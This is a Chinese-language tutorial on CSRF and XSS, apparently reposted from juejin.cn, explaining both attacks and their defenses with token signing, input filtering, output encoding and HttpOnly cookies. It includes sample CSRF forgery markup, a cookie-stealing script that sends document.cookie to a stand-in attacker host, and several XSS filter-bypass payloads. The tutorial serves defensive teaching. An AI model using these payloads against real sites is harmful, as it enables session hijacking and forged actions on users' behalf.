Web安全之CSRF、XSS攻防原理及解决方案
myzbx 2025-09-29 08:32 19 浏览
一、CSRF
CSRF 全称叫做,跨站请求伪造(Cross—Site Request Forgery),顾名思义,攻击者盗用了你的身份,以你的名义发送恶意请求,对服务器来说这个请求是完全合法的,但是却完成了攻击者所期望的一个操作,比如以你的名义发送邮件、发消息,盗取你的账号,添加系统管理员,甚至于购买商品、虚拟货币转账等。对于服务器而言,判断请求对象是否是你本身的方法限于提供身份认证的cookie、秘钥等,无法去识别个体。
1.原理介绍及流程分析
以下,举例模拟一个被CSRF攻击影响的例子:
①用户C打开浏览器,访问受信任网站A,输入用户名和密码请求登录网站A;
②在用户信息通过验证后,网站A产生Cookie信息并返回给浏览器,此时用户登录网站A成功,可以正常发送请求到网站A;
③用户未退出网站A之前,在同一浏览器中,打开一个TAB页访问网站B;
④网站B接收到用户请求后,返回一些攻击性代码,并发出一个请求要求访问第三方站点A;
⑤浏览器在接收到这些攻击性代码后,根据网站B的请求,在用户不知情的情况下携带Cookie信息,向网站A发出请求。网站A并不知道该请求其实是由B发起的,所以会根据用户C的Cookie信息以C的权限处理该请求,导致来自网站B的恶意代码被执行。
更为具体的举例,伪造请求的方式一般有如下几种方式:
// 页面中有一个超链接,诱导用户进行点击
<a href="https://aaa.com?userid=3&money=9999">诱导信息</a>
// 直接在页面上使用Img进行get请求
<img src="https://aaa.com?userid=3&money=9999"/>
// 或使用表单进行提交
<iframe name="heihei" style="display:none;"></iframe>
<form action="https://aaa.com?userid=3&money=9999" method="post" target="heihei" >
<input name="userid" value="3" type="hidden" />
<input name="money" value="9999" type="hidden" />
</form>
<script>
window.onload = function(){
document.forms[0].submit();
}
</script>
2.CSRF漏洞检测
检测CSRF漏洞是一项比较繁琐的工作,最简单的方法就是抓取一个正常请求的数据包,去掉Referer字段后再重新提交,如果该提交还有效,那么基本上可以确定存在CSRF漏洞。
当然我们也可以试着利用根据来进行漏洞检测,随着对CSRF漏洞研究的不断深入,不断涌现出一些专门针对CSRF漏洞进行检测的工具,如CSRFTester,CSRF Request Builder等。
以CSRFTester工具为例,CSRF漏洞检测工具的测试原理如下:使用CSRFTester进行测试时,首先需要抓取我们在浏览器中访问过的所有链接以及所有的表单等信息,然后通过在CSRFTester中修改相应的表单等信息,重新提交,这相当于一次伪造客户端请求。如果修改后的测试请求成功被网站服务器接受,则说明存在CSRF漏洞,当然此款工具也可以被用来进行CSRF攻击。
3.CSRF防御原理
根据以上的方式我们能显而易见看到,问题就出在“访问网站B”和“携带Cookie信息”上。针对CRSF攻击,CSRF防护的一个重点是要对“用户凭证”进行校验处理,通过这种机制可以对用户的请求是合法进行判断,判断是不是跨站攻击的行为。因为“用户凭证”是Cookie中存储的,所以防护机制的处理对像也是Cookie的数据,我们要在防护的数据中加入签名校验,并对数据进行生命周期时间管理,就是数据过期管理。
由此得出,CSRF防护的一个重点是要对“用户凭证”进行校验处理,通过这种机制可以对用户的请求是合法进行判断,判断是不是跨站攻击的行为。因为“用户凭证”是Cookie中存储的,所以防护机制的处理对像也是Cookie的数据,我们要在防护的数据中加入签名校验,并对数据进行生命周期时间管理,就是数据过期管理。
①防御思路
针对防止CSRF的发生,创建Token处理机制,Token数据结构与时间、加密签名直接相关, 这么设计的的目的如上所说,是给“身份凭证”加上时间生存周期管理和签名校验管理,如果的凭证被人拿到了, 要先判断Token中的“签名”与时间戳是否都有效,再进行正常的业务处理, 这样通过对非法数据的校验过滤,来降低CSRF攻击的成功率。
②签名与时间戳防护处理流程
在token中加入上述方法中所描述的时间戳信息和签名信息:
-----------------------------------------------------------------------------
| msg | separator | signature |
-----------------------------------------------------------------------------
| key | timestamp | . | Base64(sha256(msg)) |
-----------------------------------------------------------------------------
- msg部分: key即随机生成的字符串用作用户凭证认证+timestamp时间戳验证时间用
- separator部分:用于分隔msg部分与加密后生成的signature签名部分
- signature部分:signature即签名,是对“msg消息”用特定算法进行加密后的串。
token = base64(msg)格式化..base64(sha256("密锁", msg))
整个Token就是由被Base64的msg编码串+先256加密msg再进行Base64编码,两个串的内容结合。
③Token校验
在整个防御做法中,对于token的校验流程为:
- 在服务器端对接收到的token进行分片,以分隔符进行分割,获取信息内容和签名
- 对于签名验证,对信息进行解码,如果通过则进入时间校验
- 如果签名有效的,取出msg中的timestamp字段数据,与当前系统时间进行比较,如果过期时间小于当前时间,那这个token是过期的,需要重新的取得token。
二、XSS
XSS(跨站脚本攻击,Cross-site scripting,简称并不是 CSS,因为 CSS是 层叠样式表)是一种常见的 web 安全问题。XSS 攻击手段是允许恶意web用户将代码植入到提供给其它用户使用的页面中。从而达到攻击的目的。如,盗取用户Cookie、破坏页面结构、重定向到其它网站等。
1.XSS攻击类型区分
① 反射型
反射型 XSS攻击 通常是简单地把用户输入的数据“反射”给浏览器。黑客一般会诱使用户点击一个有恶意的链接,用户点击就会发起 XSS 攻击。反射型 XSS 攻击可以将 JavaScript 脚本插入到 HTML 节点中、HTML 属性中以及通过 JS 注入到 URL 或 HTML 文档中。
② 储存型
存储型 XSS攻击 这种攻击会把用户输入的数据存储到服务器中。例如在一个有 XSS 漏洞的博客网站,黑客写下一篇含有恶意 JavaScript 代码的文章,文章发布后,所有看了这篇博文的用户都会在他们的浏览器中执行恶意 JavaScript 代码。
③ DOM-based 型
注意: 这种类型的划分与以上两种类型划分方式不同,是按照Payload的位置划分
DOM-based 型XSS攻击 基于 DOM 的 XSS 攻击是指通过恶意脚本修改页面的 DOM 结构,是纯粹发生在客户端的攻击。DOM 型 XSS 攻击中,取出和执行恶意代码由浏览器端完成,属于前端 JavaScript 自身的安全漏洞。
发起 XSS 攻击后,黑客写入的 JavaScript 代码就会执行,通过脚本可以控制用户的浏览器。一个常见的攻击手段是“Cookie 劫持”,cookie 中一般加密保存着当前用户的登录凭据,黑客可以通过恶意代码将用户的 cookie 发到自己的服务器上,然后就可以做到无密码登录上用户的账户。
2.实现XSS攻击的条件
①需要向web页面注入恶意代码;
②这些恶意代码能够被浏览器成功的执行。
3.会利用XSS攻击获取什么?
①窃取cookies,读取目标网站的cookie发送到黑客的服务器上,如下面的代码:
var i=document.createElement("img");
document.body.appendChild(i);
i.src = "http://www.hackerserver.com/?c=" + document.cookie;
在此提到来自浏览器的自带防御,浏览器针对于这类问题的存在,对于DOM对象的访问会有自己的禁用方式,避免最基本的XSS注入。例如在旧版的IE8和IE8以下的版本都是可以被执行的,火狐也能执行代码,但火狐对其禁止访问DOM对象,所以在火狐下执行将会看到控制里抛出异常:document is not defined
②读取用户未公开的资料,如果:邮件列表或者内容、系统的客户资料,联系人列表等等,如代码
③篡改网页,进行钓鱼或者恶意传播
④网站重定向
4.XSS的防御
①具体举例: 注入转义
对于URL做解析时和发起get请求时都会需要读取URL携带的参数,如果将 url 中的参数直接插入到 DOM 中,这就有可能构成 XSS 攻击,攻击者利用这一漏洞,给其他用户发送一个有恶意的链接,用户就有可能中招。 如:
http://www.example/test.index?param=<script>alert('XSS')</script>
这个 URL 的 param 参数值并不是合理的,而是攻击者构建的。
再如: 一个超链接中的URL
<a href='http://www.xss.com?cookie='+document.cookie>
上述方式可以通过点击链接的方式注入XSS,去获取当前用户的Cookie。
②防御方式
- 当恶意代码值被作为某一标签的内容显示:在不需要html输入的地方对html 标签及一些特殊字符( ” < > & 等等 )做过滤,将其转化为不被浏览器解释执行的字符。
- 当恶意代码被作为某一标签的属性显示,通过用 “将属性截断来开辟新的属性或恶意方法:属性本身存在的 单引号和双引号都需要进行转码;对用户输入的html 标签及标签属性做白名单过滤,也可以对一些存在漏洞的标签和属性进行专门过滤。
③常见的xss攻击方法
- 绕过XSS-Filter,利用<>标签注入Html/JavaScript代码;
- 利用HTML标签的属性值进行xss攻击。例如:
<img src=“javascript:alert(‘xss’)”/>
(当然并不是所有的Web浏览器都支持Javascript伪协议,所以此类XSS攻击具有一定的局限性)
- 空格、回车和Tab。如果XSS Filter仅仅将敏感的输入字符列入黑名单,比如javascript,用户可以利用空格、回车和Tab键来绕过过滤,例如:
<img src=“javas cript:alert(/xss/);”/>
- 利用事件来执行跨站脚本。例如:
<img src=“#” onerror= “alert(1)”/>
当src错误的视乎就会执行onerror事件
- 利用CSS跨站。例如:
Body {backgrund-image: url(“javascript:alert(‘xss’)”)}
- 扰乱过滤规则。例如:
<IMG SRC=“javaSCript: alert(/xss/);”/>
- 利用字符编码,透过这种技巧,不仅能让XSS代码绕过服务端的过滤,还能更好地隐藏Shellcode;(JS支持unicode、eacapes、十六进制、十进制等编码形式)
- 拆分跨站法,将xss攻击的代码拆分开来,适用于应用程序没有过滤 XSS关键字符(如<、>)却对输入字符长度有限制的情况下;
- DOM型的XSS主要是由客户端的脚本通过DOM动态地输出数据到页面上,它不依赖于提交数据到服务器,而是从客户端获得DOM中的数据在本地执行。容易导致DOM型的XSS的输入源包括:Document.URL、Location(.pathname|.href|.search|.hash)、Document.referrer、Window.name、Document.cookie、localStorage/globalStorage;
5.XSS攻击防御
原则:不相信客户输入的数据
注意:攻击代码不一定在<script></script>中
- 使用XSS Filter
输入过滤,对用户提交的数据进行有效性验证,仅接受指定长度范围内并符合我们期望格式的的内容提交,阻止或者忽略除此外的其他任何数据。比如:电话号码必须是数字和中划线组成,而且要设定长度上限。过滤一些些常见的敏感字符,例如:< > ‘ “ & # \ javascript expression "onclick=" "onfocus";过滤或移除特殊的Html标签, 例如: <script>, <iframe> , < for <, > for >, " for;过滤JavaScript 事件的标签,例如 "onclick=", "onfocus" 等等。
输出编码,当需要将一个字符串输出到Web网页时,同时又不确定这个字符串中是否包括XSS特殊字符(如< > &‘”等),为了确保输出内容的完整性和正确性,可以使用编码(HTMLEncode)进行处理。
- DOM型的XSS攻击防御
把变量输出到页面时要做好相关的编码转义工作,如要输出到 <script>中,可以进行JS编码;要输出到HTML内容或属性,则进行HTML编码处理。根据不同的语境采用不同的编码处理方式。
- HttpOnly Cookie
将重要的cookie标记为http only, 这样的话当浏览器向Web服务器发起请求的时就会带上cookie字段,但是在脚本中却不能访问这个cookie,这样就避免了XSS攻击利用JavaScript的document.cookie获取cookie:
原文:
https://juejin.cn/post/6874730741989801997
相关推荐
- vue3和web网页直接操作微信小程序云开发数据库
-
我们开发好小程序以后,有时候需要编写一个管理后台网页对数据库进行管理,之前我们只能借助云开发自带的cms网页,但是cms网页设计的比较丑,工作量和代码量也不够,所以我们今天就来带大家实现用vue3编写...
- WebCurl:极致轻量的跨平台 HTTP 请求调试工具
-
在接口开发与测试领域,工具的轻量化、兼容性与安全性往往直接影响工作效率。WebCurl作为一款纯原生、无依赖的网页版API测试与调试工具,凭借极简架构与全场景适配能力,重新定义了接口调试工具的使...
- webapi 全流程_webapi项目
-
C#中的WebAPIMinimalApi没有控制器,普通api有控制器,MinimalApi是直达型,精简了很多中间代码,广泛适用于微服务架构MinimalApi一切都在组控制台应用程序类【Progr...
- Nodejs之MEAN栈开发(四)-- form验证及图片上传
-
这一节增加推荐图书的提交和删除功能,来学习node的form提交以及node的图片上传功能。开始之前需要源码同学可以先在git上fork:https://github.com/stoneniqiu/R...
- CodeSpirit.Amis.AiForm 智能表单使用指南
-
概述AiForm是CodeSpirit.Amis框架的智能表单功能,专为AI驱动的长时间处理任务设计。它自动生成一个多步骤的用户界面,包含表单输入、进度监控、日志显示和结果展示等功能。功能特点...
- 初级、中级、高级前端工程师,对于form表单实现的区别
-
在React项目中使用AntDesign(Antd)的Form组件能快速构建标准化表单,特别适合中后台系统开发。以下是结合Antd的最佳实践和分层实现方案:一、基础用法:快速搭...
- Bun v0.7 大版本发布,与 Vite 牵手来破局?
-
大家好,很高兴又见面了,我是"高级前端进阶",由我带着大家一起关注前端前沿、深入前端底层技术,大家一起进步,也欢迎大家关注、点赞、收藏、转发,您的支持是我不断创作的动力。今天给大家带来...
- 「前端」界面可视化开发框架formio.js
-
简介formio是一个前端可视化开发框架,无需写css/js就可以开发一套前端界面。直接在界面内拖拽就可以完成界面的布局及开发。数据交互也是固定的,表单校验也可以配置,功能非常强大。特性使用ES6...
- 小伙给同事爬取数据竟获取不到,竟要使用这种请求方式才能获取?
-
Http请求中FormData和RequestPayload两种参数的区别?AjaxPost请求中常用的两种的形式:formdata和requestpayload一、默认的表单方式...
- WinForm + Win32 API 自定义无边框窗口实战(工业软件必备)
-
前言随着.NET9.0AOT(Ahead-of-Time)的发布,便萌生了用代码测试AOT编译效果的想法,同时评估未来是否为NanUI开发支持AOT编译的新版本。关于NanUI项目,若大家尚未了...
- DeepSeek从入门到精通(11)——网页版、APP、API使用方式比较
-
DeepSeek提供了三种主要的使用方法:网页版、手机APP和API调用。这三种方式各有特点,适用于不同的使用场景。下面从使用方法和主要特点两方面进行比较:一、网页版使用方法:直接通过浏览器访问De...
- 初略Web API Notification 桌面通知
-
HTML5WebNotificationsAPI通知接口用于向用户配置和显示桌面通知弹窗。例如,Email邮件通知、来电提醒、聊天信息提醒或任务提醒等。关于Web开发技术中Notificat...
- 什么是API网关?——驱动数字化转型的“隐形冠军”
-
什么是API网关API网关(APIGateway)是一个服务器,位于应用程序和后端服务之间,提供了一种集中式的方式来管理API的访问。它是系统的入口点,负责接收并处理来自客户端的请求,然后将请求路由...
- .NET 7使用 Entity Framework Core 制作增删改查(CRUD) Web API 教程
-
在本文中,我们将使用EntityFrameworkCore(EFCore)实现一个.NET7WebAPICRUD示例。WebAPI是一个构建HTTP服务的框架,可以从浏览器、移动设备和...
- C# ASP.NET Core Web Api 与 MVC 模式下 body 参数传递,post 参数方式
-
在ASP.NETCore中,WebAPI和MVC模式在处理HTTP请求时,特别是POST请求,使用body参数来传递数据的方式非常相似。两者都使用模型绑定来自动将请求体中的数据映射到C#对象上。下...
- 一周热门
- 最近发表
- 标签列表
-
- HTML 简介 (30)
- HTML 响应式设计 (31)
- HTML URL 编码 (32)
- HTML Web 服务器 (31)
- HTML 表单属性 (32)
- HTML 音频 (31)
- HTML5 支持 (33)
- HTML API (36)
- HTML 总结 (32)
- HTML 全局属性 (32)
- HTML 事件 (31)
- HTML 画布 (32)
- HTTP 方法 (30)
- 键盘快捷键 (30)
- CSS 语法 (35)
- CSS 轮廓宽度 (31)
- CSS 谷歌字体 (33)
- CSS 链接 (31)
- CSS 定位 (31)
- CSS 图片库 (32)
- CSS 图像精灵 (31)
- SVG 文本 (32)
- 时钟启动 (33)
- HTML 游戏 (34)
- JS Loop For (32)